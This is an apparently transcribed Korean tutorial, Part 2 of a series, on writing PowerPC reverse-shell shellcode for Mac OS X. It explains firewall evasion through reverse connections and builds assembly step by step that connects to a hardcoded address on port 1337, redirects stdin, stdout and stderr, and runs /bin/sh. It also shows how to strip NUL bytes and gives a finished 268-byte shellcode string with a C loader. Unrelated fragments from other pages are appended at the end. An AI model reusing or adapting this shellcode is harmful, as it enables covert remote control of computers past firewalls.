Microsoft Word - Execute_Shellcode_on_the_MacOSX_PART_2.doc

Size: px
Start display at page:

Download "Microsoft Word - Execute_Shellcode_on_the_MacOSX_PART_2.doc"

Transcription

1 Execute Shellcode on the Mac OS X (Part 2) 1ndr4 indra.kr. x40. gmail.com

2 Table of contents 0x00. Introduction x01. Why need the REVERSE CONNECTION x02. A tiny example using socket() function x03. Disassembli ng the test example x04. I mplementation sending messages x05. I mplementation mapping /bin/sh x06. Remove 0x00 from codes x07. Conclusions x08. References x09. Appendixes

3 0x00. Introduction Processor : PowerPC G4 400MHz Memory : 320RAM SDRAM Developer Packages : Xcode Tools (developer kit for macosx) OS Version : MacOSX (7W98) - Panther Kernel Version : Darwin Updated Packages : Full Patches 전에작성했던문서 (Execute Shellcode on the MacOSX 이하파트원 ) 에서는내부적으로 /bin/sh를실행하는 shellcode를구현하는데에그쳤었다. 2005년이다가기전에새로운문서를써보고싶기도하고, 파트원문서에서다뤘던내용에대해보충할것이필요하다생각했었다. 그래서이번문서에서는단지시스템에서 shell을실행하는것만이아니라, socket() 함수를사용해외부연결을하는 shellcode를작성해보고자한다. 물론해당서버에서 port를열지않고 reverse connection에기반한연결을목표로할것이다. 테스트에사용되는서버는다음과같다. Mac OS X Linux Box Linux Box 의사양은중요한사항이아니므로언급하지않는다

4 0x01. Why need the REVERSE CONNECTION 예전에는방화벽이많이보급되어있지않았거나, 보급되었더라도방화벽의 rule이제대로활용되지못했다. 때문에외부에있는공격자가공격의대상을점거하기위해통상적인네트워크접속방식을사용했으나, 이제는기본방화벽의 rule set이나여러보안장비들로, 그렇게쉽게되지는않는다. (A) SERVER INTERNET (B) CLIENT 위의그림에서 (A) 와 (B) 는 packet 의상황을표현한것이다. SERVER의시점에서 (A) 는 CLIENT로 packet 을전달하는역할을하고, (B) 는 CLIENT로부터 packet 을전달받는역할을한다. CLIENT 시점에서는 (A) 는 SERVER로 packet 을전달하는역할, (B) 는 SERVER로부터 packet을전달받는역할이다. 각시점에서정보를전달하는것을 outbound, 전달받는것을 inbound라표현한다. 즉, 내쪽에서정보가나가는것을 outbound, 들어오는것을 inbound라표현한다고보면무리가없을것이다. 사족으로네트워크장비 (router, switch) 쪽으로보면해당장비들은중간에서통신유지를위한기계이기때문에내부 WAN 포트, 외부 LAN 포트에따라 inbound, outbound 가나뉜다. 이런것들은열외로제쳐두자

5 0x01. Why need the REVERSE CONNECTION [SYN packet] [SYN + ACK packet] SERVER [Received ACK] CLIENT 뭐.. 많이익숙해져있는그림일지도모르겠는데, TCP connection 의방식을간단하게나마나타낸것이다. 3 hand shaking 이라고도하는데모든 TCP connection 은 ESTABLISHED 상태가되기전에위와같은과정을거친다. explorer, telnet, ftp 등우리가사용하는통신프로그램이 TCP 프로토콜을사용하고있다면마찬가지다. 네트워크프로그래밍에관심이있다면, ( 그리고 linux 라면 ) /usr/include/netinet/tcp.h 파일을열어보자. 그러면그곳에 tcphdr 라는이름으로되어있는 TCP header 구조체와비트필드형식으로구성된 flag 구조를볼수있다. 아래의상황은 SERVER 앞단에 firewall 이있든지, 자체 firewall 을가동하든지 네트워크보안장비가가동중일때의상황이다. [SYN packet] SERVER CLIENT (FIREWALL) - 5 -

6 0x01. Why need the REVERSE CONNECTION 보안장비가앞단에있고, 대부분보안장비가있으면 rule 을설정하기마련이다. 만일 rule set에서 inbound packet 을모조리막아버리고, outbound 만허용했다면, 별다른방법이없는한, CLIENT에서연결을원한다고해도연결성립을할수없다. 실제경우에는 router 및 switch 단에서일반사용자들이사용하는 IP대역과서버들이사용하는 IP대역을나누어, 서버의 IP대역몇몇포트만 inbound를허용하는경우도있고, inbound, outbound 일단모조리막아놓고필요한 address, port 의 outbound만열어놓는경우도있다. 예를들어웹서핑만가능하게한다면, destination port( 목적지포트 ) 80번만허용하도록열어놓을수있다. 기본적인 network packet의허용 / 거부의기준은다비슷하기에기타상세한사항은 iptables 의 rule set이나 router rule set을참고한다. 위와같은상황에서사용될수있는방법이 reverse connection 인데, 이는보안장비가일단 inbound를막고 outbound에대해서부분적인제한을걸더라도, 허용된 destination port 나, address가있다면이를중심으로연결을성립한다는것이가장기본적인아이디어다. 물론 reverse connection 에응용에응용을거듭하는경우도있다. (trusted host connection 같은경우 ) 아래의그림이 reverse connection 의기본아이디어를나타낸다. 초록색은현재열려진 ( 또는허용된 ) 포트를의미한다. FIREWALL 에서는 outbound가허용된 destination port를의미하고, CLIENT에서는열고대기중인 port를나타낸다. ( 두 port의값은동일 ) CLIENT( 연결을원하고있는측 ) 에서만 SYN packet 을보내라는기존의고정관념을쉽게깨버릴수있다. (sending SYN packet to the CLIENT) SERVER FIREWALL (response SYN+ACK) CLIENT - 6 -

7 0x02. A tiny example using socket() function 다음은 socket() 을사용해서 서버의 1337 포트로 test 라는문자열을전달하는코드이다. socket() 함수가사용되는부분을알아보기위해간단히하드코딩으로구현해보았다. #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <netdb.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> #define SERV " " #define PORT 1337 int main(void) { int s = 0 struct sockaddr_in addr if((s = socket(pf_inet, SOCK_STREAM, IPPROTO_TCP)) < 0) { fprintf(stderr, "socket() function error. n") return 1 } memset(&addr, 0x00, sizeof(addr)) addr.sin_family = AF_INET addr.sin_port = htons(port) addr.sin_addr.s_addr = inet_addr(serv) - 7 -

8 0x02. A tiny example using socket() function if(connect(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) { fprintf(stderr, "connect() function error. n") close(s) return 1 } if(send(s, "test n", 5, 0)!= 5) { fprintf(stderr, "send() function error. n") close(s) return 1 } } close(s) return 0 일단컴파일도잘되고기능도잘동작하는것을확인할수있다. <Mac OS X> <Linux Box> nc는유용한프로그램으로, 네트워크와관련한프로그램을간단히테스트해볼수있다. -n 옵션은연결된호스트에대해 lookup을수행하지말라는옵션이며, -v 는 verbose, -l 은 listen, -p 는 local port를지정하는옵션이다

9 0x02. A tiny example using socket() function 1337 port 를열고기다리던중, Mac 에서시도한접속을허용하고, 해당호스트에서보낸 test 라는문자열을받아서출력했다 는 Mac 에서연결된 port 를말한다. 프로그램이잘작동된다는것을확인하고, 이제디버깅을해볼차례인데, 편리함을위해 gcc 의 g 옵션을포함해컴파일한버전으로디버깅을한다. disassemble 된결과를파일로저장하기위해 gdb의 batch x 옵션을사용했고, result.txt 라는파일로출력결과를 redirect 시켰다

10 0x03. Disassembling the test example 다음은 disassemble 된결과이다. 그리고결과파일에 comment 를달아조금알아보기쉽게해보았다

11 0x03. Disassembling the test example 위의결과로각 structure 정보를저장하는대강의구조를알수있었고, string 처리는어차피 register 에값을직접저장 (immediate) 하는방식을사용할것이다. 그리고다음과같은어셈블리테스트코드를작성했다

12 0x04. Implementation sending messages.globl _main _main: stwu r1,-32(r1) xor. r31,r31,r socket() li r3,2 PF_INET li r4,1 SOCK_STREAM li r5,6 IPPROTO_TCP li r0,97 SYS_socket sc connect() xor r30,r30,r30 mr r30,r3 stw r30,0(r1) s = socket() : r30 [sockdesc. (4bytes)] = total stack use: 4bytes li r0,0x0002 sth r0,4(r1) AF_INET [sockdesc.] + [AF_INET (2bytes)] = total stack use: 6bytes li r0,1337 sth r0,6(r1) 1337 [sockdesc.] + [AF_INET] + [PORT (2bytes)] = total stack use: 8bytes lis r29,0xc0a8 ip address (hi) addi r29,r29,0x0005 ip address (low) stw r29,8(r1)

13 0x04. Implementation sending messages [sockdesc.] + [AF_INET] + [PORT] + [ip address (4bytes)] = total stack use: 12bytes stw r31,12(r1) stw r31,16(r1) <-- structure of sockaddr_in (16bytes) --> [sockdesc.] + [AF_INET] + [PORT] + [IP] + [PAD (8bytes)] 12bytes - 4bytes = 8bytes (4bytes space of sockdesc.) total size of sockaddr_in = 16bytes therefore padding 8bytes = total stack use: 20bytes addi r0,r1,4 lwz r3,0(r1) mr r4,r0 li r5,16 mr r0,r31 li r0,98 SYS_connect sc write() mr r29,r31 lis r29,0x4141 addi r29,r29,0x4141 stb r30,20(r1) stw r29,21(r1) stb r30,25(r1) <--- "AAAA" string 6bytes ---> [sockdesc. + struct sockaddr_in] + [" x00"] + ["AAAA"] + [" x00"] = total stack use: 26bytes

14 0x04. Implementation sending messages addi r0,r1,21 lwz r3,0(r1) mr r4,r31 mr r4,r0 li r5,5 li r6,0 li r0,101 SYS_oldsend sc close() xor r3,r3,r3 lwz r3,0(r1) li r0,6 SYS_close sc close() stack 에값을집어넣는작업은헷갈리기쉬워주석을넣고현재 stack에 data 저장된상태를표현하게했다. raw socket 을구현할때노가다하는, 그런느낌이랄까.. 아무튼위의코드도무리없이컴파일되고정상작동했다. <Linux Box> <Mac OS X> 조금더정확한동작구조를보기위해추적 (trace) 을할수있었는데, 원래 Mac OS X에는 linux의 strace나 solaris의 truss같은명령이없다. 하지만얼마전 ktrace와 kdump라는명령어를알아냈고, 이것을이용해서 system call 의실행상태를추적할수있다는것을알았다. 이전문서에서는 ktrace를몰랐기때문에정상작동의확인을프로그램실행후반환된값을보는 $? 라는 shell 변수값으로체크했었다

15 0x04. Implementation sending messages ktrace 의도움으로각 system call 이정상작동한다고알수있었다

16 0x05. Implementation mapping /bin/sh 일단메시지를보내는코드는만들어졌고, 메시지를보내는것대신 /bin/sh 를 mapping하여, 명령을내릴수있게하는것이다음목표이다. send() 함수실행부분을빼고, dup2() 함수로 stdin(0),stdout(1),stderr(2) 를연결된 socket descriptor로복사하여명령입출력을가능케한다. 그리고 execve() 로 /bin/sh를실행하면명령을내릴수있게되는데, 변경될부분은다음과같다. 결국 send() 함수루틴을떼어내고 /bin/sh 를실행하는코드를만드는데, 다음과같은어셈블리어코드를얻을수있었다

17 0x05. Implementation mapping /bin/sh.globl _main _main: stwu r1,-44(r1) xor. r31,r31,r socket() li r3,2 PF_INET li r4,1 SOCK_STREAM li r5,6 IPPROTO_TCP li r0,97 SYS_socket sc connect() xor r30,r30,r30 mr r30,r3 stw r30,0(r1) s = socket() : r30 [sockdesc. (4bytes)] = total stack use: 4bytes li r0,0x0002 sth r0,4(r1) AF_INET [sockdesc.] + [AF_INET (2bytes)] = total stack use: 6bytes li r0,1337 sth r0,6(r1) 1337 [sockdesc.] + [AF_INET] + [PORT (2bytes)] = total stack use: 8bytes lis r29,0xc0a8 ip address (hi) addi r29,r29,0x0005 ip address (low) stw r29,8(r1)

18 0x05. Implementation mapping /bin/sh [sockdesc.] + [AF_INET] + [PORT] + [ip address (4bytes)] = total stack use: 12bytes stw r31,12(r1) stw r31,16(r1) <-- structure of sockaddr_in (16bytes) --> [sockdesc.] + [AF_INET] + [PORT] + [IP] + [PAD (8bytes)] 12bytes - 4bytes = 8bytes (4bytes space of sockdesc.) total size of sockaddr_in = 16bytes therefore padding 8bytes = total stack use: 20bytes addi r0,r1,4 lwz r3,0(r1) mr r4,r0 li r5,16 mr r0,r31 li r0,98 SYS_connect sc dup2() xor. r30,r30,r30 li r30,0 loop: mr r3,r31 lwz r3,0(r1) mr r4,r30 li r0,90 sc mr r4,r30 addic. r30,r30,1 cmpwi r30,3 bne loop

19 0x05. Implementation mapping /bin/sh execve() mr r29,r31 mr r30,r31 lis r29,0x2f2f upper 2bytes ("//") addi r29,r29,0x6269 lower 2bytes ("bi") lis r30,0x6e2f upper 2bytes ("n/") addi r30,r30,0x7368 lower 2bytes ("sh") stw r31,20(r1) stw r29,24(r1) stw r30,28(r1) stw r31,32(r1) <--- string 16bytes ---> [sockdesc. + struct sockaddr_in] + [0] + ["//bin/sh"] + [0] = total stack use: 36bytes mr r3,r1 addi r3,r3,24 mr r4,r3 stw r4,36(r1) stw r31,40(r1) implementation for double pointer (**argv) <-- address --> [sockdesc. + struct sockaddr_in] + [string] + [address] + [0] = total stack use: 44bytes mr r4,r1 addi r4,r4,36 li r5,0 li r0,59 SYS_execve sc

20 0x05. Implementation mapping /bin/sh close() xor r3,r3,r3 lwz r3,0(r1) li r0,6 SYS_close sc close() 아래가실행결과이며, reverse shell 이제대로실행되는것을볼수있다

21 0x06. Remove 0x00 from codes _main 의시작주소는 0x00001d10 이고, 아래에서는붉은색으로나타난부분이다. indra:~/shellcode2 indra$ otool -t./bind grep 00001d 00001d08 7d8903a6 4e ffd4 7ffffa d a d fdef278 7c7e1b78 93c d b b d48 3fa0c0a8 3bbd a e1000c 00001d58 93e c d68 38a fe0fb d78 7fdef279 3bc fe3fb d88 7fc4f a fc4f d98 37de0001 2c1e ffe0 7ffdfb da8 7ffefb78 3fa02f2f 3bbd6269 3fc06e2f 00001db8 3bde e a c1001c 00001dc8 93e c230b c641b dd e c240b de8 38a b c631a df indra:~/shellcode2 indra$ 보면, 0x00이꽤나많이들어가있는데주로레지스터와 stack에값을저장할때나 Byte 단위의값을직접입력 (immediate) 하는부분에서많이나타난다. 이코드들을제거해야한다.. shellcode 만들때.. 늘느끼는거지만, NUL 문자제거하는것이.. 참.. 귀찮다. 그런데 NUL 문자제거작업중예상치못한돌발변수를만났다. stw(store word) 와 stwu(store word with update) 의차이인데, 이전문서를쓸때에는 stack 에값을저장하고뺄때 stwu 명령어를사용해 r1 레지스터, 그러니까 ppc stack pointer 격이라할수있는레지스터의값이자동으로변경되는방법을사용했었다. 두명령어다 syntax는 stw(u) RT,D(RA) 였고, 이문서를쓸때에는 stw 명령어만을사용해 D를뜻하는 offset을가변적으로주는방법을사용했었는데,

22 0x06. Remove 0x00 from codes 이 offset이 0일때문제가발생했다. offset 을의미하는 D 가기계어코드에서는 half-word 인 2바이트로표현된다. 따라서 stw r30,0(r1) 형식으로코드를만들면기계어코드에서는 0 이 0x0000으로변환되게된다. 어떻게할까궁리중에결국처음 stwu 명령으로 stack 할당을한후, r1에 Update 된값을다시합산했다. 후에 stw 명령사용시, 앞에 - 부호를붙여사용하는것으로수정했으며, 몇몇문자열이나구조체 implementation 관련해서는역순으로저장하게끔수정했다. 물론 sc 명령의 0x00 바이트들은 0xff로변경하였다. 그렇게수정해서마지막 NUL 문자들이제거된코드를완성했다. 아래의코드가그것이다..globl _main _main: stwu r1,-44(r1) xor. r31,r31,r31 xor. r28,r28,r28 0x addi r28,r28,0x1111 0x addic r1,r28,0x10e5 stack pointer socket() subi r3,r28,0x110f PF_INET = 2 subi r4,r28,0x1110 SOCK_STREAM = 1 subi r5,r28,0x110b IPPROTO_TCP = 6 subi r0,r28,0x10b0 SYS_socket = 97 sc connect() xor r30,r30,r30 mr r30,r3 stw r30,-4(r1) s = socket() : r

23 0x06. Remove 0x00 from codes [sockdesc. (4bytes)] = total stack use: 4bytes subi r0,r28,0x110f r0 == 2 sth r0,-20(r1) AF_INET [sockdesc.] + [AF_INET (2bytes)] = total stack use: 6bytes subi r0,r28,0x0bd8 r0 == 1337 sth r0,-18(r1) [sockdesc.] + [AF_INET] + [PORT (2bytes)] = total stack use: 8bytes xor. r29,r29,r29 lis r29,0xffff 0xffff0000 addi r29,r29,0x1111 0xffff1111 subis r29,r29,0x3f57 0xc0a81111, ip address (hi) subi r29,r29,0x110c 0xc0a80005, ip address (low) stw r29,-16(r1) " " [sockdesc.] + [AF_INET] + [PORT] + [ip address (4bytes)] = total stack use: 12bytes stw r31,-12(r1) stw r31,-8(r1) <-- structure of sockaddr_in (16bytes) --> [sockdesc.] + [AF_INET] + [PORT] + [IP] + [PAD (8bytes)] 12bytes - 4bytes = 8bytes (4bytes space of sockdesc.)

24 0x06. Remove 0x00 from codes total size of sockaddr_in = 16bytes therefore padding 8bytes = total stack use: 20bytes addi r0,r1,-20 lwz r3,-4(r1) mr r4,r0 subi r5,r28,0x1101 r5 == 16 mr r0,r31 subi r0,r28,0x10af SYS_connect, r0 == 98 sc dup2() xor. r30,r30,r30 subi r30,r28,0x110f r30 == 2 loop: mr r3,r31 lwz r3,-4(r1) mr r4,r30 r4: newfd subi r0,r28,0x10b7 SYS_dup2, r0 == 90 sc mr r4,r30 addic. r30,r30,-1 r4: i-- cmpwi r30,-1 if(i!= -1) bne loop goto loop execve() mr r29,r31 mr r30,r31 lis r29,0x2f2f upper 2bytes ("//") addi r29,r29,0x6269 lower 2bytes ("bi") lis r30,0x6e2f upper 2bytes ("n/") addi r30,r30,0x7368 lower 2bytes ("sh") stw r31,-36(r1) stw r29,-32(r1)

25 0x06. Remove 0x00 from codes stw r30,-28(r1) stw r31,-24(r1) <--- string 16bytes ---> [sockdesc. + struct sockaddr_in] + [0] + ["//bin/sh"] + [0] = total stack use: 36bytes mr r3,r1 addi r3,r3,-32 mr r4,r3 stw r4,-40(r1) stw r31,-44(r1) implementation for double pointer (**argv) <-- address --> [sockdesc. + struct sockaddr_in] + [string] + [address] + [0] = total stack use: 44bytes mr r4,r1 addi r4,r4,-40 subi r5,r28,0x1111 r5 == 0 subi r0,r28,0x10d6 SYS_execve, r0 == 59 sc close() xor r3,r3,r3 lwz r3,-4(r1) subi r0,r28,0x110b SYS_close, r0 == 6 sc close()

26 0x06. Remove 0x00 from codes 그리고이 assembly code 를바탕으로완전한 shellcode 형식으로재구현. #include <stdio.h> char hellcode[] = /* socket() */ " x94 x21 xff xd4 x7f xff xfa x79 x7f x9c" " xe2 x79 x3b x9c x11 x11 x30 x3c x10 xe5" " x38 x7c xee xf1 x38 x9c xee xf0 x38 xbc" " xee xf5 x38 x1c xef x50 x44 xff xff x02" /* connect() */ " x7f xde xf2 x78 x7c x7e x1b x78 x93 xc1" " xff xfc x38 x1c xee xf1 xb0 x01 xff xec" /* destination port : 1337 */ " x38 x1c xf4 x28" " xb0 x01 xff xee x7f xbd" " xea x79 x3f xa0 xff xff x3b xbd x11 x11" /* destination address : */ " x3f xbd xc0 xa9 x3b xbd xee xf4" " x93 xa1" " xff xf0 x93 xe1 xff xf4 x93 xe1 xff xf8" " x38 x01 xff xec x80 x61 xff xfc x7c x04" " x03 x78 x38 xbc xee xff x7f xe0 xfb x78" " x38 x1c xef x51 x44 xff xff x02" /* dup2() */ " x7f xde" " xf2 x79 x3b xdc xee xf1 x7f xe3 xfb x78" " x80 x61 xff xfc x7f xc4 xf3 x78 x38 x1c" " xef x49 x44 xff xff x02"

27 0x06. Remove 0x00 from codes /* execve() */ " x7f xc4 xf3 x78" " x37 xde xff xff x2c x1e xff xff x40 x82" " xff xe0 x7f xfd xfb x78 x7f xfe xfb x78" " x3f xa0 x2f x2f x3b xbd x62 x69 x3f xc0" " x6e x2f x3b xde x73 x68 x93 xe1 xff xdc" " x93 xa1 xff xe0 x93 xc1 xff xe4 x93 xe1" " xff xe8 x7c x23 x0b x78 x38 x63 xff xe0" " x7c x64 x1b x78 x90 x81 xff xd8 x93 xe1" " xff xd4 x7c x24 x0b x78 x38 x84 xff xd8" " x38 xbc xee xef x38 x1c xef x2a x44 xff" " xff x02" /* close() */ " x7c x63 x1a x78 x80 x61 xff xfc" " x38 x1c xee xf5 x44 xff xff x02" int main(void) { void (*func)(void) func = (void*)hellcode fprintf(stdout, "%d bytes reverse shellcode. n", strlen(hellcode)) func() } 코딩을해놓고보니.. 하드코딩되어있는 IP address 와 port 가눈에거슬린다. 어찌됐든컴파일도별무리없이끝나고 shell 실행도제대로되는것을볼수있었다. 참고로아래의 Linux Box 에서 connect to []... 에서 Mac의 IP가 8번으로바뀌었는데공유기문제가있어바꿨더니 DHCP 강제할당설정을해놓은설정정보가날아가버려변경된것같다

28 0x06. Remove 0x00 from codes <Linux Box> <Mac OS X> 268 바이트짜리 reverse shellcode... :) 0x07. Conclusions 드디어.. 두번째 Mac OS X 용 shellcode 만들기문서에.. 종지부를찍는다. 언제나생각하지만.. 뭔가를만들어낸다는그자체가.. 나를기분좋게한다. 그래서재미있는것같다. 사실 2005년을문서정리할시간도없이바쁘게보낸터라.. 연말에작성을끝내려했지만, 모임이다뭐다.. 여기저기놀다가끝을못맺고.. 새해가되어서야종지부를찍게됐다. 음.. Mac OS X 의 /usr/include/sys/syscall.h 파일을보면.. 내가알지못하는 system call 들이꽤많다. SYS_audit 라던가.. Appletalk 관련 system call 들도따로있는것같던데.. 관심이간다.. 시간내서따로알아봐야겠다. 게다가얼마전 port knocking 이라는것도알게됐는데회사업무용으로 DMZ 내부망에서 reverse connection을응용한 shell 접속프로그램을만든적이있어서그쪽에대한 implementation 과정도한번문서를써볼까한다. 반쪽 implementation 은이미되어있으니.. 관심가고공부하고싶은것이너무나많다.. 그런데시간은없다.. 흑

29 0x08. References [1] Mac OS X Assembler Guide [2] PowerPC assembly [3] PowerPC Microprocessor Family: The Programming Environments for 32-Bit Microprocessor [4] PowerPC Technical Tidbits [5] PowerPC Assembly Quick Reference Information [6] PowerPC Compiler Writer's Guide

30 0x09. Appendixes

31 0x09. Appendixes

Execute_Shellcode_on_the_MacOSX.txt - 메모장

Execute_Shellcode_on_the_MacOSX.txt - 메모장 ####################################################################### Execute Shellcode on the MacOSX 1ndr4 "indra.kr". " x40". "gmail.com" http://indra.linuxstudy.pe.kr 2005. 08. 19. ########################################################################

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Network Programming Jo, Heeseung Network 실습 네트워크프로그래밍 멀리떨어져있는호스트들이서로데이터를주고받을수있도록프로그램을구현하는것 파일과는달리데이터를주고받을대상이멀리떨어져있기때문에소프트웨어차원에서호스트들간에연결을해주는장치가필요 이러한기능을해주는장치로소켓이라는인터페이스를많이사용 소켓프로그래밍이란용어와네트워크프로그래밍이랑용어가같은의미로사용

More information

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770>

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770> i ii iii iv v vi 1 2 3 4 가상대학 시스템의 국내외 현황 조사 가상대학 플랫폼 개발 이상적인 가상대학시스템의 미래상 제안 5 웹-기반 가상대학 시스템 전통적인 교수 방법 시간/공간 제약을 극복한 학습동기 부여 교수의 일방적인 내용전달 교수와 학생간의 상호작용 동료 학생들 간의 상호작용 가상대학 운영 공지사항,강의록 자료실, 메모 질의응답,

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

SYN flooding

SYN flooding Hacking & Security Frontier SecurityFirst SYN flooding - SYN flooding 공격의원리와코드그리고대응 by amur, myusgun, leemeca 2008. 09. myusgun Agenda 개요...3 원리...3 위협...4 잠깐! - 문서에관하여...4 이문서는...4 Code...4 대응방안...4 소스코드...5

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

Microsoft Word - KPMC-400,401 SW 사용 설명서

Microsoft Word - KPMC-400,401 SW 사용 설명서 LKP Ethernet Card SW 사용설명서 Version Information Tornado 2.0, 2.2 알 림 여기에실린내용은제품의성능향상과신뢰도의증대를위하여예고없이변경될수도있습니다. 여기에실린내용의일부라도엘케이일레븐의사전허락없이어떠한유형의매체에복사되거나저장될수없으며전기적, 기계적, 광학적, 화학적인어떤방법으로도전송될수없습니다. 엘케이일레븐경기도성남시중원구상대원동

More information

vi 사용법

vi 사용법 네트워크프로그래밍 6 장과제샘플코드 - 1:1 채팅 (udp 버전 ) 과제 서버에서먼저 bind 하고그포트를다른사람에게알려줄것 클라이언트에서알려준포트로접속 서로간에키보드입력을받아상대방에게메시지전송 2 Makefile 1 SRC_DIR =../../common 2 COM_OBJS = $(SRC_DIR)/addressUtility.o $(SRC_DIR)/dieWithMessage.o

More information

[8051] 강의자료.PDF

[8051] 강의자료.PDF CY AC F0 RS1 RS0 OV - P 0xFF 0x80 0x7F 0x30 0x2F 0x20 0x1F 0x18 0x17 0x10 0x0F 0x08 0x07 0x00 0x0000 0x0FFF 0x1000 0xFFFF 0x0000 0xFFFF RAM SFR SMOD - - - GF1 GF0 PD IDL 31 19 18 9 12 13 14 15 1 2 3 4

More information

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1 SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 100) 1 Contents 1 INTRODUCTION 2 PROTOCOL FRAME OUTLINE 3 FUNCTION FIELD 4 DATA FIELD 5 CRC CHECK 6 FUNCTION EXAM 7 EXCEPTION RESPONSE 8 I/O STATUS

More information

2009년 상반기 사업계획

2009년 상반기 사업계획 소켓프로그래밍활용 IT CookBook, 유닉스시스템프로그래밍 학습목표 소켓인터페이스를활용한다양한프로그램을작성할수있다. 2/23 목차 TCP 기반프로그래밍 반복서버 동시동작서버 동시동작서버-exec함수사용하기 동시동작서버-명령행인자로소켓기술자전달하기 UDP 프로그래밍 3/23 TCP 기반프로그래밍 반복서버 데몬프로세스가직접모든클라이언트의요청을차례로처리 동시동작서버

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

Microsoft PowerPoint - Supplement-02-Socket Overview.ppt [호환 모드]

Microsoft PowerPoint - Supplement-02-Socket Overview.ppt [호환 모드] 소켓개요 참고문헌 : 컴퓨터네트워크프로그래밍, 김화종, 홍릉과학출판사 Socket 정의 Socket 은 Transport 계층 (TCP 나 UDP) 을이용하는 API 1982 년 BSD 유닉스 41 에서처음소개 윈도우즈의경우 Winsock 제공 JAVA 또한 Socket 프로그래밍을위한클래스제공 Socket Interface 의위치 5-7 (Ses, Pre,

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D> 뻔뻔한 AVR 프로그래밍 The Last(8 th ) Lecture 유명환 ( yoo@netplug.co.kr) INDEX 1 I 2 C 통신이야기 2 ATmega128 TWI(I 2 C) 구조분석 4 ATmega128 TWI(I 2 C) 실습 : AT24C16 1 I 2 C 통신이야기 I 2 C Inter IC Bus 어떤 IC들간에도공통적으로통할수있는 ex)

More information

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit Defcon CTF 17 th Nickster Report StolenByte(Son Choong-Ho) http://stolenbyte.egloos.com thscndgh_4@hotmail.com WOWHACKER 2009. 08. 09 0x00 Contents 0x01 ------------- About Nickster 0x02 -------------

More information

bn2019_2

bn2019_2 arp -a Packet Logging/Editing Decode Buffer Capture Driver Logging: permanent storage of packets for offline analysis Decode: packets must be decoded to human readable form. Buffer: packets must temporarily

More information

1217 WebTrafMon II

1217 WebTrafMon II (1/28) (2/28) (10 Mbps ) Video, Audio. (3/28) 10 ~ 15 ( : telnet, ftp ),, (4/28) UDP/TCP (5/28) centralized environment packet header information analysis network traffic data, capture presentation network

More information

